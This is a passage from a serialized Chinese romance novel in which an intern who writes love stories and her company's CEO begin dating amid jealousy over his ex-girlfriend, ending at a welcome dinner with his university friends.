“就是换个地方睡觉而已,就能解冻一张卡,多划算啊。我哥以前可是说什么就什么,从来不含糊。”顾菲得意地点点头,忽然又想起什么似的,赶紧又拉拉肖瑜的胳膊,“你别进我卧室啊!千万别进。”
肖瑜奇怪地看着她,“我进你卧室干嘛。不过你为什么这么紧张?”
“不进就好。”顾菲清清嗓子,很随意地说道,“我就是不喜欢私人领地被人乱入,隐私权懂吗?”
“嗯。不过你以后晚上打游戏要小声点。”肖瑜想了想,说道,“我可以带着耳塞睡,但时间久了邻居会投诉的,我怕到时候房东不给我住了。”
“行。没问题,听你的。”顾菲一边点头,一边挤眉弄眼看车外,“哎哎,回来了回来了。”
顾程刚上车,顾菲就在后边问,“买了什么啊哥?”
“红豆粥,锅贴。”顾程头也没回地应道,“刚才打包那么多,还不够你晚上吃吗?”
顾菲拿胳膊肘怼怼肖瑜,暗戳戳说道,“看吧,一点没错。”
肖瑜弯起唇角点点头。
*
电梯里,顾程两手全是袋子,快到肖瑜那一层,他才把所有东西一股脑递给顾菲,只留下了手腕上挂着的巧克力礼盒,“你先上去,吃完东西你们早点休息。”
顾菲莫名其妙接过两兜子吃的,不解地问道,“你不回家?这么晚了你还要去哪儿?”
‘叮’的一声门响。肖瑜抱着玫瑰转头跟顾菲说了声‘我先回去了’,便径直走了出去。顾程皱了下眉,大步跟上。
电梯门闭合,顾菲一脸惊讶地瞪大了眼睛,低头看看自己两手沉甸甸的餐食,突然觉得心里有点忐忑。
她好像,真的误解了什么。
*
肖瑜听到脚步声回头时,也很惊讶。
顾程的脸色不是很好,一看就是压着脾气。
肖瑜站在原地眨了眨眼,低头看看怀里的玫瑰,伸手递了过去,“对不起,忘了还给你。”
“菲菲跟你说什么了?”顾程拧着眉,压根没理会她的话,盯着她会儿,缓了脸色,“你不用在意她的态度。我不喜欢猜,也不喜欢没理由的闹。所以你到底怎么了?”
“我没有闹。”肖瑜抿了下唇,抬起头,很认真地看着他,“我们不合适,我想要的不是你这样的男朋友,我不想跟你谈恋爱了。”
顾程愣了一下,都被气笑了,“不想了?你下午才给我买完巧克力,还收了我全款不打折的玫瑰,现在跟我说,你不想?”
肖瑜扁了下嘴,没什么底气地应道,“我一会儿微信转账,还你钱。”
“有钱了不起是吗?”顾程轻嗤一声,抬手直接握住腰把她往怀里一捞,“我差你那点儿钱?说实话,到底怎么了。”
“你又不喜欢我,干吗陪我谈恋爱?”肖瑜扭了好几下都没摆脱钳制,又羞又恼地瞪着他,“我想要的是个干干净净的男朋友,不是你这样的。”
“我哪里不干净?”顾程挑了下眉,目光在她脸上转了一圈,停在她咕嘟嘟的嘴唇上,“确实不干净了,一晚上都快被你吃干抹净了。又是谁说我不喜欢你的,不喜欢我费什么劲来跟你培养感情?”
他此刻有点胡搅蛮缠,跟人前的正经样儿相去甚远,口里的话更是像在调情。肖瑜听了又是一阵心跳如鼓,气势弱了下去,渐渐红了脸,只敢盯着眼前的玫瑰看,“你也喜欢我吗?你……你喜欢我哪儿啊?”
顾程一看到她羞得不行的模样,就觉得喉咙里燥得慌,何况掌心里还捏着她那一抹纤腰,热乎乎,软软的。
他抬眼看了看走廊天花板上的摄像头,“先进去,我不想跟你约会被人盯着看。”
*
肖瑜把顾程带进门,才意识到又一时冲动了。
她有点气自己是个恋爱脑。重要的问题还没闹清楚,楼上人家的前女友还在等着,自个儿就因为一句含糊未明的‘喜欢’,巴巴地开了门把人带进来。
可看到顾程进门脱了大衣摘了围巾,捂得有点发红的脖子上全是开始发黄的斑痕,她又开始觉得心里发慌,放下玫瑰小声问道,“我拿药给你,揉一揉?”
顾程顺着她的视线摸了下脖子,点点头,“去拿。”
妈妈给她准备好的小药箱,终于派上了用场。
肖瑜进屋翻出了白花油,再过来的时候,看到顾程坐在沙发上,茶几上摆着已经拆开了的礼盒。里面黑色巧克力呈心型摆成一圈,中间还有一朵鎏金色的小玫瑰装饰,十分的有情调。
她把白花油递过去,顾程却没有接。他捻起心尖位置那颗巧克力,眼睛盯着她的脸,放入了口中。
他这动作慢条斯理,却让肖瑜忍不住吞了下口水,脸颊又控制不住地开始发热。
因为吞咽的动作,顾程本就突出的喉结,一下,一下,很有节奏地起伏着。肖瑜不好意思再看,把白花油放在茶几上,在沙发的另一角坐下来,两手放在膝头,眼睛也很老实地看向茶几这一边的玫瑰花。
顾程解开颈下那几颗扣子,朝她勾勾手指,“过来,可以了。”
肖瑜的身体绷了一下,下意识又往角落里挪了挪,“干吗?”
顾
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程探身拿起白花油,又往嘴里塞了颗巧克力,直接挤过来挨着她,“你不是要给我揉揉?揉。”
“我不……”肖瑜被他挤得想站起来都难,扭着身子推推他,声若细蚊,“你自己揉。”
“我自己啃的?”顾程挑了下眉,把白花油塞她手里,仰起脖子,“你是成年人,要对自己的行为负责。”
肖瑜被逼得没办法,红着脸把药挤在指尖上,一点一点,揉向他脖颈上一块块青黄色的斑。
“我喜欢你乖。”
顾程突然开口,喉结在肖瑜指尖边上动了动,就像正抚着一只熟睡的小松鼠,突然被它张口要咬,惊得她连忙把手抽了回去。
“呵。”顾程低下头,顺势把她缩回去的手握进掌心,望着她受惊又无措的眼睛笑,“你很漂亮,又很乖,男人会喜欢你很正常。”
他说情话的样子很温柔,与梦境中那人几乎重合。可此刻的肖瑜却不是醉酒后色/胆包天的她,被挤在沙发角落里几乎连呼吸都缠在了一起,让她浑身都紧张得难受。
她往回抽了抽手,顾程索性环臂把她彻底圈进怀里。两个人温热的身体隔着薄衫相抵,连他脖子上淡淡的白花油味,都被暖成了暧昧的味道。
肖瑜心跳得很快,一遍遍提醒自己不要再轻易冲动上头,抽回手,推向他的腰,“舒曼,是你的前女友吗?”
“很久之前是,现在只是朋友。”顾程把她的小手捉回来,低笑,“别摸腰,话说清楚再耍流氓。”
“我没……”肖瑜的两手老实地被他攥回掌心,低着头嗫嚅道,“可她现在在家里等你,你这样,你……”
顾程微微一怔,这才明白小姑娘是有点吃味了,他唇角笑意越浓,脖子也越发低了下去,鼻尖几乎贴到了她的脸,“她家里情况有点复杂,之前休年假的时候都在我那儿住。”他声音很轻,温柔得很,像是在说悄悄话,“不过以前我单身无所谓,今天刚到太晚了,明天我会送她去酒店。”
见肖瑜没有回应,他捏了捏她的手,“我让菲菲上去住,就是不想孤男寡女让你误会。”
他这般自证清白,听得肖瑜心里有点甜,她咬了好几下嘴巴,才垂着眉眼小声说道,“可你之前还总是警告我,说你对我没兴趣……你……你还相亲了。”
“相亲是之前就答应过我妈的,我连围巾都没带就去了,以后当然不会再有。”顾程低声笑了笑,“而且之前我对你有很大的误会,以为你的脑子可能跟别人不太一样。”
“为什么?”肖瑜不解地挤了眉,刚把头抬起来想看他,嘴巴就扫过了顾程的鼻尖,她脸颊激红一片,连忙道歉,“对不起,我不是故意的。”
她满眼无措,都不知道手脚要往哪儿放,偏他一点没有要拉开距离的意思。
“那你试试故意的。”顾程的嗓音越发低沉,像耳语,似低喃,大手也缓缓抚上了她的脖颈,“我已经吃了你的巧克力,你可以名正言顺地对我失德了。”
狭小的空间里,覆来唇边的低语,听得肖瑜整个人都软得没了力气,连再伸手去推他都变得似欲拒还迎。
突兀的开门声,阻断了只差一根头发丝距离的唇瓣相触。
肖瑜下意识就把头缩进了顾程的胸前,像只受了惊的小乌龟。待她意识到不妥要翘头的时候,顾程已经抬手摁住了她的后脑勺,胸腔也因为说话声微微震动起来,“顾菲你是不是闲得慌?解冻信用卡都满足不了你了是吗?”
42. 第 42 章
第四十二章
“不是,哥……”顾菲的方向,能清楚看到顾程脖子上那斑斑点点,还有被他摁在领口大敞处、还揪着她哥腰襟的肖瑜。她脸红心跳地别开视线,有点焦急地说道,“哥,是急事,打你电话你不接啊。你,你快过来,过来我跟你说,真的是急事。”
“你最好真的很急。”顾程松开手起身。肖瑜也连忙直起了身子,又不好意思去看顾菲,咬着唇低了头,伸手悄悄整理着拉扯中有点凌乱的裙角。
那厢顾菲见顾程一脸晦气地走过来,招招手示意他低头,踮起脚尖捂嘴在他耳边悄声说了几句。
顾程似乎有些意外,原地沉默了片刻,才点点头,跟顾菲交代几句。待她又赶紧关上门出去,他才拿起大衣走向肖瑜,伸手摸了摸她的头,“我还有点事。第一次约会,先到这儿。别胡思乱想。”
肖瑜抬起眼睛欲言又止地看着他,点了点头。又圆又润的眼睛里,情动尚未完全消散,乖得很,却又勾得人不想走。
顾程咽了下嗓子,拉她起来低下头,双唇在她额头轻轻碰了碰,“明天见。”
*
顶层的公寓门口,秦舒曼正坐在行李箱上,仰头笑语晏晏跟顾菲说着话,听到顾程从电梯里出来的声音,她转头朝他扬了扬手,“打扰你了,其实你不用特意过来送我。电话里你也没说一声,要是知道你今天跟人约会,我就直接去酒店了。这闹得好像我故意扰你似的。”
她还是一如既往干练自信的模样,长裤衬衫,即便经过长途飞行,也不显丝毫倦意。骑在行李箱上的姿势有点野,但却跟她明媚张扬的五官十分和谐,有种令人欣赏的肆意。
顾程摇着头笑了笑,过来打开门,朝内里歪了下头,“飞那么久,不累吗?明天再送你过去,先休息吧。”
顾菲朝他领口看一眼,没吱声。
秦舒曼倒也没再跟他客气,起身很自然地把行李箱留在身后,见顾程回身把它拉了进去,她这才笑道,“约会一半就跑了,女朋友不吃醋啊?”
“醋什么醋,乖得很。”想起刚才肖瑜那小鹿一样清澈又染了些情动的眸子,顾程弯了唇角,边往里走,边淡淡笑道,“怎么今年回来这么早?”
“也就早了几天而已。”秦舒曼重新脱掉了尖头平底鞋,轻车熟路从鞋柜里拿出自己的拖鞋,一边换一边应道,“年前公司高层出了很大的变故,要重新站队。我还没想好跟哪边,干脆提前回来休年假,也顺便考虑一下,要不要接受调来国内分部的安排。”
顾程刚换完拖鞋,闻言不禁顿下了脚步,“你要回国?”
“很意外吗?”秦舒曼看了眼身侧透明人一样的顾菲,勾住她的肩笑了笑,“游历世界这么久,我的人生阅历已经够丰富了,也是时候定下来了。”
“呵。”顾程低笑一声,点点头,“前几天我还在考虑以后出口欧洲的物流伙伴,如果你负责国内的业务,随后倒是可以聊一聊。”
“啧,谢谢顾总支持。”秦舒曼拥着顾菲,却是看着顾程笑,微撩的眼尾尽显风情,“还没上任就接了大单,看来我得尽早让公司给我重审一下年薪了。”
“公事还得公办,你们的报价也不能掺水。”顾程也笑着应了一句,转头看向桌上的几个礼盒,“前几天刚见过,以后回来别这么客气。”
“这是带给叔叔阿姨的。”秦舒曼亲热地拥着顾菲,跟她一起随着顾程来到沙发坐下来,欠身笑道,“前段时间见面,太忙,也没好好陪阿姨说说话。周五晚上你不是要回家吗?你女朋友不介意的话,我也想过去看看他们。”
“你想去随时都可以。”白花油的气味细细钻入鼻息,顾程伸手摸了下脖子,因为指尖碰触到温热的皮肤,他这才想起自己的衬衣扣子都张着,起身轻咳一声道,“不早了,先休息。明天等我联系了小雪他们,再正式给你接风。”
“嗯。”
*
【你睡了吗?】
肖瑜坐在被窝里,笔记本打开,却满脑子都是顾程挤着自己靠过来时,气息纠缠的情话,根本一个字都写不进去,何况此刻也早过了她平素写作的固定时间。
手机叮的响了一声,她心头一颤,连忙去看,是顾菲。
她不禁有一点点失望,跟她回道:【还没有。】
顾菲:【他俩各睡各屋。我哥回来就跟她说了几句话,进屋就没再出来过。你别吃醋。】
肖瑜的唇角忍不住弯起来,回道:【嗯。你还不睡吗?】
好半天,顾菲才回道:【我睡不着,我心里乱。肖瑜,我之前说的话你别往心里去,都是瞎猜的。我哥不是三心二意的人。】
肖瑜把笔记本彻底放去一边,思忖着,弯了眼眸打字回她:【谢谢你。菲菲,我想再跟着自己的感觉走一次。以前是我误会了姜昊对我的感觉,总是单方面缠着他,让自己和他都很为难。可这一次,是确认了恋人关系的,我很期待,也真的想试试跟你哥好好谈场恋爱。你不用帮我,这是我自己的事情。不管结果怎么样,我们都还是好朋友,好吗?】
另一边,顾菲正犹豫要不要告诉肖瑜,秦舒曼有意回国的事。看到她认认真真打过来这一大段话,她凝眉踌躇许久,才叹口气,回道:【好。】
感情的事,酸甜苦辣,从来都不可能是毫无波澜。除了当事人,谁都不能替谁做决定。
她一直以为顾程单身是为了等舒曼姐。可看刚才他俩那番谈话,她哥根本毫不避讳,舒曼姐好像也心无芥蒂。其实仔细想想,如果不是知道他俩之前有过一段感情,分手后两人之间,似乎除了还保持联络,舒曼姐每年也都会回来小住,真算不上暧昧。
或许还是她太年轻,理解不了这些熟透了的男男女女。她之前在肖瑜面前已经太多嘴,如今不管是为了小姐妹能好好体验一把完整的恋爱,还是为了不被哥哥迁怒,她还是在侧旁观,做好闺蜜的眼线就行了。
*
隔日到了单位,办公室里的玫瑰还依旧保持着含苞未放的姿态。幽幽的花香,悄无声息布满每个角落。
肖瑜按照约定,把陆洋他们厂区的报账台账整理了一下发过去,同时抄送了顾程。
陆洋的电话很快打了过来,声音压的很低,但开心得很,“明天给你送票啊。这法子有用,刚才陈总已经把手上的票都给我了。”
“那就好。”肖瑜也很开心,探手去拿纸制台账,目光不经意间滑向最后一个抽屉,她愣了一下,跟那边又说了几句便打开抽屉,看向包装精美的礼盒。
昨天以为是顾程送的,她本意是想退回去,所以根本没打算拆开。此刻再看到,却勾起了满心好奇。
一上午的工作结束得很快,燕北北他们又去了别的城市出差,待办公室的人一个个都去了餐厅吃饭,肖瑜小心翼翼地把礼盒拿出来放在桌上,打开了抽绳的丝带。
复古的花纹,丝线锦织,却不是中式风格,反而有点欧洲那边中世纪的格调。而内里一个贝壳型的实木盒子,制作精良,却在盒面上烤制了一只风格迥异的……粉色小猪佩奇。
肖瑜有点惊讶,继而忍不住翘唇笑了起来。因为那只佩奇惟妙惟肖,也在咧嘴偷眼瞧着她笑,就好像她们两个刚对别人做过了什么恶作剧,正在彼此偷笑窃喜。
她又伸手轻轻打开盒子,透明水晶罩下,像梳齿一样的机芯轻轻转动起来,‘天空之城’温柔的旋律,悠然响起。
是她最喜欢的睡前音乐,也是她最喜欢的佩奇。
她突然想到可能送这礼物给她的人,却又立刻苦笑着鄙视自己,不长记性。
自他离开,未曾有过只字片语。一开始,想念到心痛难忍的时候,她也曾拿出手机对着他的微信,打出一段
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段长长的话或短短的字,说她想他,问他好不好。可打完也只是给自己看看,就删除了。
不可能是他。
一定又是她自作多情了。
*
顾程打来电话的时候,财务部正在开夕会。
肖瑜连忙摁了拒接,不好意思地把手机静了音。可也就几分钟不到的功夫,就见刘娜过来敲了敲办公室的门。
正在作总结的赵姐一看到她,立马放下了支着脑袋的手,腰板挺得笔直,“刘秘,您有事?”
“在开会啊?”刘娜看了眼肖瑜,转头朝赵姐说道,“没什么重要的事。就是跟大家都交代一声,上班时间最好不要拒接工作电话,以免误事。”
她说完就转身带上了门,留下财务部一群人面面相觑。赵姐更是赶紧拿出手机看了看,忽然又看向肖瑜,“刚才谁给你打的电话?”
肖瑜咬了下嘴巴,内疚地说道,“是顾,是老总……”
千载难逢的机会!赵姐接收到一群下属八卦的目光,轻咳一声,语重心长地说道,“肖瑜啊,虽然你是老总的女朋友,但现在还是上班时间,他打电话过来肯定是因为工作。下次领导再打电话,可不能公私不分了。”
“好。”肖瑜也很自责,垂下眼睛,点点头,“我记住了。”
实锤了!办公室的同事们,除了周美茗,都有点小激动。
可不待他们趁势再多问几句,肖瑜的手机又亮了起来,这下她一秒不带犹豫,立刻接听,“顾总。”
“会开完了吗?”
手机里传来顾程清晰的声音,围坐一圈的几个人都听到了。赵姐连忙扯一下肖瑜的胳膊,朝她狠狠点点头。
肖瑜也跟着点了下头,很机械地应道,“嗯,开完了。”
“上来。”
电话挂了。
肖瑜还在发呆,赵姐赶紧推她一下,催促道,“老总叫你过去,发什么呆?赶紧的。”
“哦。”肖瑜忍不住又低头看了眼手机,踌躇道,“还有十五分钟就下班了,那我待会儿直接回家,不用回办公室了吧?”
“赶紧去,别墨迹。”赵姐笑呵呵朝她挤挤眼,“十五分钟后就是私人时间了,你去哪儿肯定是跟你男朋友商量啊。”
*
来到总裁办的时候,等待区里还有两个中年男人,肖瑜看了他们一眼,微笑着点了点头,便在他俩对面的沙发上坐了下来,把沉甸甸的挎包放在了身侧。
倒是那俩人看看她,相视一眼,彼此的目光都有些纳闷。如今的小年轻,见到领导都不用打招呼的?
其中那个国字脸、穿着中山装的男人先问道,“小姑娘是哪个部门的?看着面生啊。”
“我是财务科的。”肖瑜很客气地笑道,“是今年刚来的实习生,我叫肖瑜。”
她话音刚落,办公室门开,安祈攸探头出来看了一眼,舒口气,“来了怎么坐这儿呢?进来等。”
肖瑜先看看那两个先来的,见他们只保持着面上的微笑,没动也没吱声。于是她又看向安祈攸,不确定地伸手指指自己。
“对,你。”安祈攸冲她勾勾手指,“牛奶都给你热好了。”
“……”肖瑜只得又提了包起身,进门却看到顾程对面已经坐了两个人,正跟他说着话,他也听得很认真的样子,甚至连她进来也没给个眼神。
前边安祈攸依旧召唤小狗一样朝她勾手指,她只得带着满心疑问跟他进了办公室内的休息间,悄声问道,“安总,顾总找我到底有什么事呀?”
安祈攸把热好的牛奶递给她,掩了嘴,也悄声应道,“不知道。”
“……”肖瑜忍不住翻了个大白眼。她正想埋汰他这个助理太儿戏,外间就传来顾程的声音,“小安。”
安祈攸飞快地又悄声交代道,“你就在这儿等就行了。”
43. 第 43 章
第四十三章
这一等,就等了一个多小时。
不过好在休息间里设备齐全,有床有沙发,还有冰柜和零食水果。肖瑜起初还正襟危坐地等着,等到过了下班的点,便拿出手机窝进沙发,开始翻阅评论,回顾旧文。
连续数日都没时间好好写文,存稿箱里的货马上就要断。而写文这个事儿,有时候灵感涌上来不写急得难受,有时候真有了时间,却又死活下不去笔,旱涝不匀得很。
她看着看着,便有些想码字的冲动。电脑不在身边,她也不习惯手机打字,于是便拿了随身的小本子和笔出来,快速记录下新文接下来的剧情想法。
外边一直人声不断,中间人来人往还换了几茬。肖瑜一开始还支起耳朵留意着,生怕顾程突然点她的名。可写着写着陷入自己的文字世界,她便彻底心无旁骛。
面前的灯光被人影遮挡时,肖瑜龙飞凤舞写得正嗨,抬起头来见是顾程,她正打算起身,却发现不知何时,自己已经随意地脱掉了鞋子勾起了腿,就跟在家里似的,整个人都是放松到极致的状态。
顾程抬了下眉,目光在她的小本子上扫过,又看向她赶紧踩去地上的双腿,勾起唇角摸了摸她的头,“没事。怕你无聊过来看看,你写你的,再等我一会儿。”
他说完还伸手摸了把她的脸,顺势捏了捏,这才又笑着看了看她,转身出去。跟着,外间再度传来几个男人你来我往的探讨声。
肖瑜有点摸不着头脑。
所以找她过来的,到底是顾总,还是她的男朋友?
*
公事彻底处理完,已经又过了半个多小时。
顾程再进来的时候,肖瑜已经不再半躺半靠在沙发上写字,而是鞋履整齐地坐在那儿翘头等着他,又是一副乖巧的新职员形象。
他忙了一天,因为最近很少呆在公司,下班前几个部门老总见他回来,排着队地拿文件过来给他签,间或还有一些临时的急务处理,心和脑都累得够呛。
可刚才原本以为肖瑜会等得无聊生怨,也是想让自己顺便透口气,进来却看到她懒散自得地窝在沙发上忙自己的事,他不由便觉得心中安宁,连回过头再谈工作的时候,眉目都不自禁舒展许多。
这小姑娘,还真适合娶回家镇宅。
肖瑜被他似笑非笑地盯了半天,越发有点疑惑,起身问道,“顾总,是轮到我了吗?”
顾程一时没意会过来,“什么意思?”
“您打电话的时候,我们正在开夕会,领导正在讲话。”肖瑜解释完,有点委屈地嘟了下嘴,“我以为……我以为你是以男朋友身份给我打的电话。我不是故意拒接的,我不知道你找我是公事。”
顾程唇角的笑意收起,很严肃地点点头,“上班时间不乱接私人电话是对的,继续保持。我找你是……早上为什么把西区的台账发给我?看我很闲?”
肖瑜舒了口气,顿时觉得轻松起来,俏皮地看着他笑,“这是敲山震虎。我刚发给你,陆洋就给我打了电话,说明天就会带票过来。顾总,我是不是很聪明?”
“聪明。”她弯起眼眸一副等待被夸的小表情,实在让顾程压不住唇角,低声笑道,“这可不是敲山震虎。你这叫,狐假虎威。”
“确实‘狐假虎威’更准确。”肖瑜很认可地点了下头,依旧很认真地看着他,“那还有别的事吗?”
让她等了这么久,不可能就问一句电话里就说得清的话吧?
顾程轻咳一声又收了笑,可这一次沉默了半天,他也想不出还有什么‘公事’,能让自己跟一个刚入职的实习生再扯上联系。
于是他果断放弃无意义思考,一手拉起她,另一手探身去帮她拿包,“我下班了,别的工作留到以后再说……包里放了什么这么重?”
“就……昨天早上收到的礼物。我不知道是谁送的,但是……”肖瑜并不打算隐瞒,一边随着他往外走,一边有点犹豫地说道,“但是我很喜欢,我想留着。”
顾程瞥一眼沉甸甸的包,点了下头,“昨天早上我还不是你男朋友,你想怎么样都行。但以后情人节,不能再收其他男人的礼物,想要什么跟我说。”
肖瑜一下就弯了唇角,“好。”
“另外……”顾程捏了下掌心里的小手,垂眸看着她说道,“过去的事情,也不必太介怀,重要的是以后。”
肖瑜心里一暖,点了点头,“好。”
可顾程跟着就说道,“晚上叫了几个朋友给舒曼接风,我带你见见他们。”见小姑娘闻言眼睛瞪得老圆,他握住她的肩往怀里带了带,口中的话也带了点安抚的意味,“都是大学同窗,见了面多少会提到些曾经的事,别往心里去。”
肖瑜惊讶地看着他,“所以你刚才说的,其实全都是铺垫啊?”
顾程自以为这坑挖得很自然,哪料得到小姑娘一下子就把他给揭穿了。他嗓子痒得不行,清了好几下,才蹙眉道,“你不要把我想得那么卑鄙。”
肖瑜抿紧唇角,可下一秒,实在憋不住,扑哧一声笑了出来,“我可是写爱情小说的,没吃过猪肉还没见过猪跑吗?我的理论知识,绝对比你能想到的丰富得多,你别想着忽悠我。”
她说完,还很得意得冲他挑了下眉。
顾程深深吁了口气,低笑一声,“行。我说喝醉了那么会磨人,原来是把理论实践到我这儿来了。昨晚没来得及给你回放,要不今晚一起看?要再给你来点加料的茶吗?”
口嗨可以,说到动真格的,肖瑜一下就老实了,低眉顺眼拿眼角瞟他一眼,小声道,“恼羞成怒。”
顾程也拿眼角看了看她,挑眉,“我不恼,也不羞。我喜欢真刀真枪地实干,不喜欢只逞口舌之快。”
“……”肖瑜的脸一下子变了火烧云,忍不住就伸手去推他,“你……你太坏了。”
扳回场面,顾程心里不能再舒坦,收了收手臂,低头在她耳边低笑,“我搞实业的,说的有错吗?你是不是想歪了?”
他两个相依而行,笑着进了电梯。所经之处开着门的办公室里,翘着头隔着玻璃门观望的几个秘书,呼啦一下冲到了一起,激动不已地讨论
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起来。
“顾总谈恋爱原来是这个样子的啊!太甜了有没有,居然还给肖瑜拿包?我都不敢想。”
“就是啊,好温柔啊。他俩的身高差也好有爱啊,我好嗑!”
“听说顾总以前大学时候谈过一个,也是二十四孝好男友。结果还是被初恋甩了,所以伤心地一直没再谈。”
“什么女人眼那么瞎?顾总这种作风清正的大帅哥,居然看不上?”
“行了,别八卦了。”刘娜见几个人说着说着开始有点不着边,正了神色道,“总裁办的人嘴巴要是管不住,分分钟可能离岗。快回家吧,不早了。”
*
临进酒店包间前,肖瑜才开始感觉有些不自在,扯着顾程的衣角站在那儿,脸红红的,“我没有补妆,也没有换衣服。要不,要不我去洗手间先补个口红?”
顾程好笑地伸手在她脸上捏了捏,“吃饭呢,补什么口红。挺好看。”
他又垂眼看向她大衣内里合体的套裙,笑道,“裙子也挺好看。别紧张,都是跟我常来往的,总要见见。”
肖瑜点点头,深深吸了一口气。
顾程挑了下眉,“别故意把胸挺那么高,已经很壮阔了。”
“……”提着的一口气泄了出来,直接把肖瑜的不自在也给闹没了,埋怨地嘟囔道,“我才发现,你其实坏得很……”
“没你坏。”顾程低低笑了笑,勾起她,一边示意门前的服务生推门,一边悄声在她耳边道,“我的理论知识不比你少,男人该知道的我都知道。再说上次被你硬逼着实践过,确实很……波澜壮阔。”
*
直到进了门,肖瑜都羞得抬不起头,自然也没第一时间看到里面诸人各色眼光。
秦舒曼喝着红酒,陈雪跟几个男人抽着烟,正说到一些往事相互调侃着笑,听到门响都看了过去。
秦舒曼看到顾程搂着个矮他一截的女人进来,那女人还低着头,一副上不了场面的样子。她红唇微勾又抿了口酒,转眸只看着顾程,朝他举了下酒杯,“来了。”
陈雪和另外几个男人,先是诧异地看向顾程和怀里扭扭捏捏的女人,继而目光在秦舒曼和顾程脸上跳了跳,还是陈雪先笑道,“阿程,给舒曼接风都姗姗来迟,这可不像你。”
“事赶事,刚好有点忙。”顾程不以为意地笑了笑,带着肖瑜在秦舒曼身边的空位上坐了下来,介绍道,“我女朋友,肖瑜。顺便带来跟你们见见。”
肖瑜这才抬起头,浓密的栗色长发下,露出一张精致又乖巧的小脸。她有点好奇地看向众人,弯起唇角,“你们好,我叫肖瑜。”
明亮的眼睛,清澈单纯。刚才低着头看起来一副扭捏的样子,可此刻抬头跟人打招呼时,在座诸人才意识到,她方才可能根本就不是害怕胆怯,那双大大的眸子里,大大方方又不失娇俏。
陈雪他们都是一怔,下意识又将目光聚集到秦舒曼脸上。
见秦舒曼放下酒杯也看向了肖瑜,脸上却并无任何神情波动,赵经年惊讶地问道,“阿程,你来真的啊?”
44. 第 44 章
第四十四章
赵经年跟顾程爱好一致,当年一同成立了学院的动力俱乐部,平素来往最多,关系也最近,对于他的个性也最为了解。如此新欢旧爱欢聚一堂,换换人或许会让人觉得这是为了挽回白月光,故意带人来刺激刺激对方。但他可知道,对顾程来说,大学毕业之后,所谓女朋友,几乎可以说是未婚妻的代名词。
所以这么说来,刚才他们还在调侃顾程一往情深等秦舒曼,完全是会错了意?这下真是尴尬了。
“这有什么好做假的?”顾程莫名其妙看他一眼,转头跟肖瑜介绍道,“这是赵经年,搞科技的。他也喜欢玩模型,以后带你去车模俱乐部的时候,还会见着。”
“你好。”肖瑜朝着赵经年点头。赵经年也连忙回了个笑,问句好,跟着,却还是不自禁看了眼秦舒曼。
秦舒曼也正顺着顾程的介绍看向他,依旧舒展着眉目,毫不介怀的样子。
赵经年暗暗舒了口气,一时觉得自己有点杞人忧天。都是成年人了,何况是舒曼这种个性十足的女人。
赵经年旁边坐着的是刘赫,略微有点圆润,长得十分讨喜。听到顾程说他是个律师的时候,肖瑜十分惊讶。问过好,她都还舍不得挪开目光,悄咪咪还又偷瞟了他两眼,惹得顾程心里打了好几个问号。
再往下是邹策,家里是搞医疗器械的。少见的姓氏,加上这个男人长得也比较标志,肖瑜问过好后,不仅满意地点了下头,还专门问了问他的名字是哪两个字。一旁的顾程见状,眼睛不由眯了眯。
而邹策身边就是陈雪,她的目光早就一直跟着肖瑜,见顾程介绍到自己,笑了笑,灭掉烟看一眼身侧的秦舒曼才道,“小妹妹好呀,我瞅着你像是还在上大学。去过时光KTV吗?”
“去过。”肖瑜点了点头,看看顾程,“顾总当时也在,就是那会儿好像还挺烦我的,把我从VIP休息室给丢出去了。”
她这么一提,顾程倒是想起来那天她肿着两只核桃眼,一遍遍问他各种不着调的问题,还有,随后那个紧紧搂她在怀的男人。
他心里突然有点不太爽利,眉心微微起了皱。
陈雪看他一眼,笑着又问肖瑜,“小妹妹唱歌的时候认识的顾总啊?我是时光的老板,怎么看你这么面生呢?”
“你是时光的老板啊?”肖瑜有点惊讶,很崇拜地感慨道,“那里的保安人高马大的,我还以为老板也是个大块头。没想到居然是个美女姐姐,太意外了。”
“呵,小嘴真甜。”陈雪轻笑一声,又摸了根烟,噙在嘴上看着顾程笑,“天真无邪,我见犹怜。怪不得连顾大老板都能哄到手。阿程,这姑娘看着比菲菲都小,你怎么下得去手?”
“或许我才是被下手那个呢?”顾程淡笑着应了一句,见肖瑜闻言立刻偷摸地瞪了他一眼,他忍着笑,后靠着指了下身侧的秦舒曼,“这是秦舒曼,今天就是给她接风。”
肖瑜早就对秦舒曼好奇得不得了,可因为一开始她不知道谁是谁,也因为礼貌问题,没好意思盯着在座的女性看。如今终于介绍到本尊,她立刻把所有的注意力都挪到了秦舒曼身上,笑着点了下头,“你好。”
顾菲提起秦舒曼时,曾说过她和顾程两个人站在一起,天生一对。
这话真的一点都不假。
秦舒曼应该个子很高,抵在桌上的手指和胳膊,骨节都很长。她此刻穿着高领的露肩薄衫,尽管脖子被遮盖得严严实实,依旧看得出优雅的弧度。齐肩长发直角肩,夸张的菱形耳环张扬夺目,鹅蛋脸上五官十分明艳利落,尤其两片性感的红唇,嘴角微勾时,衬着眼中客气的星点笑意,有点淡漠又有点神秘,看得人心里直痒痒。
肖瑜吞了下口水。
这样的女人,活脱脱大女主不二人选。她在新文里对男主白月光的描述,跟她本尊比对起来,简直弱爆了!
秦舒曼也在看她,这是个很漂亮的小姑娘,不带任何攻击性,是让男人很容易心生怜爱的美。可这种美,也是最容易让男人生腻的存在。
眼见肖瑜起初满眸惊艳地看着她,到后来眼中竟生出些许悔意,她垂眸笑了笑,伸手拿起酒杯看向顾程,“都认识过了。你来这么晚,是不是得先自罚三杯?”
她看顾程这一眼,眼梢微撩,没有刻意的勾引,艳在风骨。
肖瑜都看呆了,再度吞了下口水,连忙也去看顾程。
顾程对她两只大眼睛里的激动和期待莫名其妙,他抬了下眉,端起面前的酒杯,对众人笑道,“确实要罚。我酒量浅,一杯吧。”
一杯酒后,服务生鱼贯而入,不多时便上好了热菜。
顾程是东道主,正要起第一杯酒,却又转头先问肖瑜,“给你拿点牛奶?”
“我不想喝牛奶。”肖瑜看看众人的酒杯,摇摇头,“我想喝酸奶。”
“你今天第一次跟大家见面,不喝一杯怎么行?”陈雪登时豪爽地添了一大杯酒,摆桌上转过来,“小妹妹,可不能折了姐姐的面子。”
“她酒精过敏,一喝就浑身起斑。”顾程把那酒又转回去给她,瞥一眼闻言脸颊微红的肖瑜,招手让服务生过来,让她报了喜欢的牌子,跟着,又问,“菜都是提前点好的。你有什么喜欢的,再加?”
“我都可以。”肖瑜看向满桌的菜,又摇了摇头,“你不用管我,我真的都可以。”
“真好养。”顾程低笑着夸了一句,这才示意大家都举杯,转头看向秦舒曼,“舒曼,欢迎回来。”
